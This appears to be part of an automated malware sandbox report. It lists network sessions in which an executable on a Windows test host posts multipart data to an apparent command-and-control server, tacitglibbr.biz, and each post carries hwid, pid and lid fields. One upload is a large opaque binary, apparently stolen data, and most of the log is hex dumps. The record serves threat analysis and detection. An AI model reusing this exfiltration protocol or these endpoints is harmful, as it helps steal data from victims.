2024-12-17 08:44:51 UTC	2807	OUT	Data Raw: e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 Data Ascii: (u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECa
2024-12-17 08:44:52 UTC	1043	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 08:44:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ffcsuhg6pulhs9epoelembfcn8; expires=Sat, 12-Apr-2025 02:31:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EGRl5vGyKO2c7k2VXJA1D7xEipbh%2B5y6G9fGMhs%2B2VDpkA3ne1VLJSm5ZqqR4KWDj%2BD1RfhHLCHFPt0MeruOEXiryHMYgs46lpE3fnMobYTvd%2F5a2%2BJTt2C8iTJA69Ea3BU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35a23458b343ad-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1556&min_rtt=1542&rtt_var=606&sent=13&recv=24&lost=0&retrans=0&sent_bytes=2840&recv_bytes=19094&delivery_rate=1764350&cwnd=203&unsent_bytes=0&cid=b3f927090f563998&ts=1212&x=0"
2024-12-17 08:44:52 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 08:44:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.50.161	443	7536	C:\Users\user\Desktop\X2hna87N3Y.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 08:44:53 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WKKY9HQD72NIN8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8765 Host: tacitglibbr.biz
2024-12-17 08:44:53 UTC	8765	OUT	Data Raw: 2d 2d 57 4b 4b 59 39 48 51 44 37 32 4e 49 4e 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 46 45 35 37 32 39 34 42 33 46 43 34 35 45 45 34 33 30 42 36 43 45 35 35 34 38 33 35 41 39 0d 0a 2d 2d 57 4b 4b 59 39 48 51 44 37 32 4e 49 4e 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 57 4b 4b 59 39 48 51 44 37 32 4e 49 4e 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 37 39 31 31 37 33 31 39 35 34 0d 0a 2d 2d 57 4b 4b Data Ascii: --WKKY9HQD72NIN8Content-Disposition: form-data; name="hwid"88FE57294B3FC45EE430B6CE554835A9--WKKY9HQD72NIN8Content-Disposition: form-data; name="pid"2--WKKY9HQD72NIN8Content-Disposition: form-data; name="lid"yau6Na--7911731954--WKK
2024-12-17 08:44:54 UTC	1030	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 08:44:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=82457gi3ro7nrdi5r0r3v9gkv1; expires=Sat, 12-Apr-2025 02:31:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lNasL2CoP5ZE0c1j5l8JHrqioXQtFCxZm9NCg2Sny2BnLhEED2EhiSeydYuozeTWVgEZsrRTgxKl21OITQwNYAHRYiMyvd92WviXdwIaqhx0rHZT2VSL8MaTdOHHxQ1veGU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35a2445a98439d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1600&min_rtt=1599&rtt_var=601&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2839&recv_bytes=9699&delivery_rate=1817050&cwnd=201&unsent_bytes=0&cid=81d19a99e7c9b066&ts=768&x=0"
2024-12-17 08:44:54 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 08:44:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	104.21.50.161	443	7536	C:\Users\user\Desktop\X2hna87N3Y.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 08:44:55 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7XS29QDJ54Q User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20400 Host: tacitglibbr.biz
2024-12-17 08:44:55 UTC	15331	OUT	Data Raw: 2d 2d 37 58 53 32 39 51 44 4a 35 34 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 46 45 35 37 32 39 34 42 33 46 43 34 35 45 45 34 33 30 42 36 43 45 35 35 34 38 33 35 41 39 0d 0a 2d 2d 37 58 53 32 39 51 44 4a 35 34 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 37 58 53 32 39 51 44 4a 35 34 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 37 39 31 31 37 33 31 39 35 34 0d 0a 2d 2d 37 58 53 32 39 51 44 4a 35 34 51 0d Data Ascii: --7XS29QDJ54QContent-Disposition: form-data; name="hwid"88FE57294B3FC45EE430B6CE554835A9--7XS29QDJ54QContent-Disposition: form-data; name="pid"3--7XS29QDJ54QContent-Disposition: form-data; name="lid"yau6Na--7911731954--7XS29QDJ54Q
2024-12-17 08:44:55 UTC	5069	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-12-17 08:44:56 UTC	1044	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 08:44:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kpssdq99is7dtd1igbtimjlajp; expires=Sat, 12-Apr-2025 02:31:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T7zbwYZlyElU%2FrMtV8w6k%2BjlhlgtuvwsewVS4W8rxEs6wpM0uHFY19MxwOjtJn2S1aihyFPbWhd%2BkUSxxB7Mbz1xP0jbxHDZCkqnu%2Fryy%2FoD8s%2BLKBCERWeX0hYLkkhnQP4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35a2523b5c32e8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1919&min_rtt=1897&rtt_var=727&sent=12&recv=27&lost=0&retrans=0&sent_bytes=2839&recv_bytes=21354&delivery_rate=1539272&cwnd=246&unsent_bytes=0&cid=11f29f9463226a46&ts=894&x=0"
2024-12-17 08:44:56 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 08:44:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	104.21.50.161	443	7536	C:\Users\user\Desktop\X2hna87N3Y.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 08:44:58 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6R60VIOJM9OLEPQJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1266 Host: tacitglibbr.biz
2024-12-17 08:44:58 UTC	1266	OUT	Data Raw: 2d 2d 36 52 36 30 56 49 4f 4a 4d 39 4f 4c 45 50 51 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 46 45 35 37 32 39 34 42 33 46 43 34 35 45 45 34 33 30 42 36 43 45 35 35 34 38 33 35 41 39 0d 0a 2d 2d 36 52 36 30 56 49 4f 4a 4d 39 4f 4c 45 50 51 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 52 36 30 56 49 4f 4a 4d 39 4f 4c 45 50 51 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 37 39 31 31 37 33 31 39 35 34 0d Data Ascii: --6R60VIOJM9OLEPQJContent-Disposition: form-data; name="hwid"88FE57294B3FC45EE430B6CE554835A9--6R60VIOJM9OLEPQJContent-Disposition: form-data; name="pid"1--6R60VIOJM9OLEPQJContent-Disposition: form-data; name="lid"yau6Na--7911731954
2024-12-17 08:45:00 UTC	1034	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 08:45:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1lfb38m265r5ec68597al2iirp; expires=Sat, 12-Apr-2025 02:31:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u5Ro2EANVXcEJCPq8Ri19Vq%2B0u5e6IH3MfyBbUdcp3PrrqsW0FT7F63h0YR%2BChT3ho196qg5POP2UZHLMn4fVsFa1pW9eejLNv1wHdCOKQmN4wL1tnB2FLqFVfcl4ATRRJc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35a263ae5a8c5f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2020&min_rtt=2007&rtt_var=779&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2180&delivery_rate=1380614&cwnd=171&unsent_bytes=0&cid=31c544677e034314&ts=1976&x=0"
2024-12-17 08:45:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 08:45:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49740	104.21.50.161	443	7536	C:\Users\user\Desktop\X2hna87N3Y.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 08:45:03 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Z58EJ5HRPTGP3ZM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551867 Host: tacitglibbr.biz
2024-12-17 08:45:03 UTC	15331	OUT	Data Raw: 2d 2d 5a 35 38 45 4a 35 48 52 50 54 47 50 33 5a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 46 45 35 37 32 39 34 42 33 46 43 34 35 45 45 34 33 30 42 36 43 45 35 35 34 38 33 35 41 39 0d 0a 2d 2d 5a 35 38 45 4a 35 48 52 50 54 47 50 33 5a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 35 38 45 4a 35 48 52 50 54 47 50 33 5a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 37 39 31 31 37 33 31 39 35 34 0d 0a 2d 2d Data Ascii: --Z58EJ5HRPTGP3ZMContent-Disposition: form-data; name="hwid"88FE57294B3FC45EE430B6CE554835A9--Z58EJ5HRPTGP3ZMContent-Disposition: form-data; name="pid"1--Z58EJ5HRPTGP3ZMContent-Disposition: form-data; name="lid"yau6Na--7911731954--
2024-12-17 08:45:03 UTC	15331	OUT	Data Raw: b0 57 61 fd b2 09 3a 76 47 a6 43 89 a0 82 2a 4c db c1 2f d2 a0 07 70 3f 27 87 7f fd 9f 31 4b f4 bb ac cf 3e 1e 5c b7 c0 6c 3c 5c ea 27 cd 58 dd 69 9e ee 98 29 f2 d4 8b 16 37 63 07 b2 35 f9 ab 76 17 23 2e 1c 40 b1 d3 5a 78 a3 e5 05 f1 dc b0 3c 74 58 ec a6 e8 7c 75 bf 7b 6d d8 17 43 3c 46 f6 23 22 d3 8c 8f 87 06 28 a5 b7 60 72 26 c8 88 63 70 08 06 61 fc 71 ae 55 54 6c 5e 31 fa 20 b8 1c d2 5d be b1 dc c3 e8 c7 79 7e e4 13 f8 87 84 76 22 69 ce 64 96 27 d3 1f b5 07 5c 28 17 29 dd f8 18 a5 a2 4d a2 08 6c 4b 6e ed 97 6d 1e d4 42 5a ae be 28 c4 c5 f3 f7 cc 17 ec 06 48 f0 39 d8 78 eb af 46 c6 ce ed df fa 47 85 69 fa 60 8a b8 1b 73 56 86 fc c7 51 81 01 57 71 50 8b 95 1d e7 7b ea f4 d5 19 c6 6d df 90 26 5f 86 c8 ec 93 fd 57 32 64 ba f6 23 6a 52 72 5a 98 b6 80 6a 9e Data Ascii: Wa:vGC*L/p?'1K>\l<\'Xi)7c5v#.@Zx<tX\|u{mC<F#"(`r&cpaqUTl^1 ]y~v"id'\()MlKnmBZ(H9xFGi`sVQWqP{m&_W2d#jRrZj
2024-12-17 08:45:03 UTC	15331	OUT	Data Raw: c0 1a 65 ef 0a ba ac 60 7b 9f e6 63 e5 ec d0 63 4f 8d 28 95 9d 2d 14 61 de bc 93 7e 3c 44 ea 40 6f 93 f7 33 2e 31 3f 61 d1 7b 44 da 4c 13 52 ee 8f 9c 49 c8 4f d0 70 0a d8 38 55 db fa a4 31 ac 54 cc 8b 39 76 91 cd c9 2c e6 7f 18 8b 24 b6 b5 6c 65 5e 24 ba af 79 0f a4 75 56 4d 0d 9e 29 1f ce fc 28 0f 49 3c d9 ff 70 94 51 3a b5 e6 bf 70 f1 c9 2b 99 a1 cd 17 ab 4f 2e 7a fd ee 5d b5 31 be 9a 3b b4 e5 be c9 7a f0 6c aa f6 f3 89 3e 01 58 67 60 69 66 f5 de 54 d7 9b 09 ab f2 7d 46 3f 1f 9f 31 e4 70 87 77 ca bc 19 aa 68 12 1f 76 57 7c 5c c6 1b 7d 99 cb dd 77 68 d0 5b 60 9d e8 e7 09 2d ff 75 e8 33 7b 36 78 e1 c3 6a 8a cc a1 9d 11 0c f5 d4 d1 4c a6 59 da 5a d8 d1 8d 4a 77 e3 eb 27 fe 5d a5 4a 4a d1 06 83 33 f3 a6 16 6e 07 a0 40 96 83 ff c3 18 5f 86 2c 76 d2 15 62 dd Data Ascii: e`{ccO(-a~<D@o3.1?a{DLRIOp8U1T9v,$le^$yuVM)(I<pQ:p+O.z]1;zl>Xg`ifT}F?1pwhvW\|\}wh[`-u3{6xjLYZJw']JJ3n@_,vb
2024-12-17 08:45:03 UTC	15331	OUT	Data Raw: b4 7c f6 6f 42 be 68 95 ef c9 fd ff 06 30 7e e0 3b fb de e2 9d 68 7c 0c 1e 8f 96 32 f0 03 b7 95 ff 2a 77 d4 0a 26 79 31 e7 fa 53 b5 bc 17 13 b3 6c ee b6 85 1e 2b a9 70 95 5a 9d c3 b7 d7 f2 a7 3e 7a f8 31 2d 49 cc b8 88 a7 6c 6e c4 9e c4 94 86 7f b3 35 69 a1 60 93 b9 86 de f2 1a 2b 34 74 ff af 23 0f af a4 84 0f c1 dc 2f 5e dd 84 96 3c 46 b4 7d 14 c3 02 d7 75 fb 05 57 7f 7b 65 48 49 0b 25 1f 48 ec 63 00 da e7 9b c2 fc b3 6a 06 bb 27 1f 70 b0 68 e5 af 0b b5 50 40 3a e2 40 49 80 8e 16 97 6c 1e 12 c8 76 79 df 23 ee f2 72 aa a0 b3 e7 fc ed c9 0f e7 62 44 40 b4 3e 43 0c 4c 0b a1 62 f7 82 dd 63 a9 3c a0 cb 7a 65 f8 12 cf a9 42 07 3b e7 53 b5 2f 24 33 f9 7f 7f 1a cf 2b c0 a8 0b 45 10 c0 e9 a0 c5 44 8b 0a 25 51 33 68 c8 cb 36 90 72 b4 ad ab 08 3c fb cf 08 fe 28 98 Data Ascii: \|oBh0~;h\|2*w&y1Sl+pZ>z1-Iln5i`+4t#/^<F}uW{eHI%Hcj'phP@:@Ilvy#rbD@>CLbc<zeB;S/$3+ED%Q3h6r<(
2024-12-17 08:45:03 UTC	15331	OUT	Data Raw: ef 4c f9 3e e9 d2 f2 fa d3 94 d1 75 22 02 15 9c 7f 9d a6 a5 dc cc 66 30 33 81 3d 37 10 79 67 a7 d1 65 42 b6 75 20 80 ae ad a6 7f 66 7b d8 a7 0f 33 2a 46 33 92 c5 c4 b8 57 55 8e e4 fe 4c a4 6a b1 ee 83 30 de ad 75 f7 b0 b1 13 e6 6b 46 b1 47 cc fa 83 95 f9 c5 ce 7f 3c 42 f2 b1 60 50 6c f3 2e e1 78 b9 86 ec c4 a5 e4 cd 40 30 36 3e 5e 05 bd 04 ec ef ed 98 65 f8 4d 6c 9f 2d 4e a9 44 39 09 8c df e9 46 9f bd 37 98 7f e7 bf 6d 88 70 9e 93 5b 56 28 3c 73 a9 25 a4 46 86 ec dc 17 22 01 cd d6 07 f9 72 ed 9d c6 06 29 93 33 b3 a9 ba ea 31 99 8a d6 f7 e0 3b b6 70 08 2f f7 fe a9 e2 c9 e4 59 75 5d 86 79 a3 45 bb 98 2b 97 61 2e e2 1c 61 a3 8e 8a 4c 3b ed ec f6 8d a9 2e 3e 6a c0 f1 d5 1f f0 ce 79 dd b4 c9 4d 6f 33 81 25 db 31 59 a7 3a 72 07 35 dc 5f 0a b6 d8 f3 bd a8 24 fb Data Ascii: L>u"f03=7ygeBu f{3*F3WULj0ukFG<B`Pl.x@06>^eMl-ND9F7mp[V(<s%F"r)31;p/Yu]yE+a.aL;.>jyMo3%1Y:r5_$
2024-12-17 08:45:03 UTC	15331	OUT	Data Raw: 70 63 ea 41 2a aa aa fe 62 9c 56 37 21 17 c5 e8 76 85 9a d1 b0 c8 1a ff e2 13 e1 00 e2 f4 65 df 94 6c 51 fd 9a f7 f9 ec ab 8f 68 2c 2f bd 35 1a df 48 fa b0 69 3f 3c 89 b9 a0 4e be 5a a1 dc e8 34 5c a5 6c 36 ee 08 f6 83 96 10 dd f0 10 0c fd 9e bb 2c d9 3a c4 3a 62 0a 59 bc 84 b3 d4 cf 63 27 41 a3 7f 38 5d 04 1c 9b 7c f9 60 f6 9e 42 c9 78 d0 18 67 bb 0a 62 f3 e6 fb f0 f4 08 10 51 54 6d b4 92 1a 17 91 9c bb 1e ab 30 2b f5 8d d2 ba c5 35 e4 e7 89 62 b5 e2 74 f6 c1 67 d3 64 3a c6 57 d1 8d 88 7c f0 2f ae 4f 4d dd 1d 8f d4 a5 d4 e4 cb 21 2c 99 31 38 c5 b4 8d 9c ba b7 36 96 e8 cf d1 18 aa d2 5a 43 f9 8a a2 26 09 22 d1 e5 2e d1 a1 0c 03 17 b7 1c 67 a3 5a fd 22 48 2c 30 2e 92 2e 8f 61 b6 6a af 82 a5 56 54 b4 0f c2 a6 fa be fd 4b 5f 33 51 4a bc 1f 16 c1 7b e2 1e 88 Data Ascii: pcA*bV7!velQh,/5Hi?<NZ4\l6,::bYc'A8]\|`BxgbQTm0+5btgd:W\|/OM!,186ZC&".gZ"H,0..ajVTK_3QJ{
2024-12-17 08:45:03 UTC	15331	OUT	Data Raw: dc db 42 f6 28 a2 27 e3 2a 61 09 76 df 39 72 15 24 9b f3 f3 1f 04 51 54 7c be 6a ad 0c f5 6d 35 c5 59 95 07 ee 56 ca 65 ee 25 0c ce d2 5d 91 5a 8b 86 57 02 84 cc c0 07 d4 ec 5e 70 16 6b b9 27 43 7f eb c2 3d 23 fd 0d 2f 59 cd 4f ab a9 94 47 59 56 90 5b 53 e0 e4 04 bb 18 c4 e0 ad 9d 23 ca 1c ec 47 c8 32 ca 3f a5 08 59 4d 89 ce bf 7a cd 6a 52 37 93 ee bb 98 92 d4 11 c5 0b 1d 4a b9 a7 dd 80 59 bd 11 a2 a6 63 5e 35 cb ea 79 6d b7 70 2e fd 9e 9f ab fa 66 91 90 c9 0c f6 2c c8 9d 37 69 c3 5d aa 8c af 37 45 70 1b 72 6c 88 c4 2c 34 fe 89 9e d9 14 39 27 23 1f 11 b0 ed 60 91 95 28 de f0 af e4 1d a3 b0 c6 14 4a d2 3c f1 a7 63 1c 9d 06 18 6b 03 be 41 80 b1 9e b2 76 83 bd c0 5f b0 5c d5 3d 65 51 3e 77 bd 7e bb 26 7c 53 3f 0e a7 38 bf 35 19 47 4c 1b aa 4f a2 6e 68 e8 17 Data Ascii: B('*av9r$QT\|jm5YVe%]ZW^pk'C=#/YOGYV[S#G2?YMzjR7JYc^5ymp.f,7i]7Eprl,49'#`(J<ckAv_\=eQ>w~&\|S?85GLOnh
2024-12-17 08:45:03 UTC	15331	OUT	Data Raw: 65 6b c7 a4 25 bd 91 16 1f 8c 6c 52 92 4a 8f 6a 12 b7 af 9b a5 c9 a1 5e 75 96 5f 0f 05 91 d9 91 bd 0d b4 9a 97 4f eb 67 69 32 69 91 09 dd 3a 51 a4 c2 37 58 92 66 19 7f 3b 55 c9 94 54 5f 5b b3 3e 13 3d cd df 2d 39 48 35 02 ff ed 9c ec 95 01 8f 2a 41 10 d7 4d 68 23 29 af 20 9a d8 2f cf dd ea 88 ab 18 d0 cf 2a 44 90 d4 f9 f6 da f0 a1 10 2b 26 31 21 c2 83 8f 37 7d 00 a1 4e 71 5e 1d df b9 4e dd fb 92 96 e5 0d ca d4 69 6f 22 aa 90 fe 29 8a 69 30 80 85 59 bf db ea 6e f5 c1 5e 48 77 28 9e 56 8b df 4e 2f d1 26 91 b8 8c 06 31 3e 4f 8c 8d 48 43 4a 71 8b f3 33 5d b6 97 b0 a5 17 ba 4d 3e fc ee f6 3b 7a b4 10 91 56 3b 72 71 e1 2e dc 51 86 b6 60 92 11 6b 0f bf 22 cf c6 65 3d ba 95 ab 76 08 45 57 46 75 46 e1 b0 07 86 3f 5b f8 08 78 c6 23 db f5 6f 7a c3 31 00 fe 73 07 21 Data Ascii: ek%lRJj^u_Ogi2i:Q7Xf;UT_[>=-9H5AMh#) /D+&1!7}Nq^Nio")i0Yn^Hw(VN/&1>OHCJq3]M>;zV;rq.Q`k"e=vEWFuF?[x#oz1s!
2024-12-17 08:45:03 UTC	15331	OUT	Data Raw: ea fb a2 4e c0 ec 10 3a 28 2b ca 34 1f 09 76 08 09 30 74 66 a9 af 4c 49 f9 ca 3b ee 7a aa 88 ff 3b c1 7e 5d 64 9e ec c1 75 47 81 e7 57 ea 42 22 f5 55 f1 76 f9 5f f5 37 0a 78 ec 73 db f9 30 95 8a 11 b7 2a 98 9d ab 71 87 2b b6 01 e0 dd ca 1f c0 6d 3a 4d 84 a2 60 d4 9d 34 24 d6 be 79 07 1e 61 a8 8f e4 5d ed fc 6d 11 a7 68 a2 34 5c 4a b6 1e 0a d7 d7 b2 fe 72 54 8c 7d 55 4c 97 54 6f 38 ca 4f c9 f1 ae e5 5b 0d 60 67 46 91 0a 46 8c 74 a1 38 fc 6d f3 80 e0 e1 e1 4f eb 91 0f c3 0b be f4 c7 40 68 7f 87 dc e6 50 34 3c f8 fc 47 92 90 69 15 36 7a b3 7d 41 6b 9f 97 07 fa fb 5c ce 6f 25 7d c7 22 69 f0 62 12 fb cb cb c4 fc ee 14 9b 7f e1 97 35 57 d5 b4 19 97 71 44 50 6f 66 ac 98 1e 4a 3f d5 ee bb 49 c4 51 cc 09 69 d1 23 2e 72 a1 14 08 81 10 e9 2e 15 19 51 9c e0 ed 5f 8f Data Ascii: N:(+4v0tfLI;z;~]duGWB"Uv_7xs0*q+m:M`4$ya]mh4\JrT}ULTo8O[`gFFt8mO@hP4<Gi6z}Ak\o%}"ib5WqDPofJ?IQi#.r.Q_
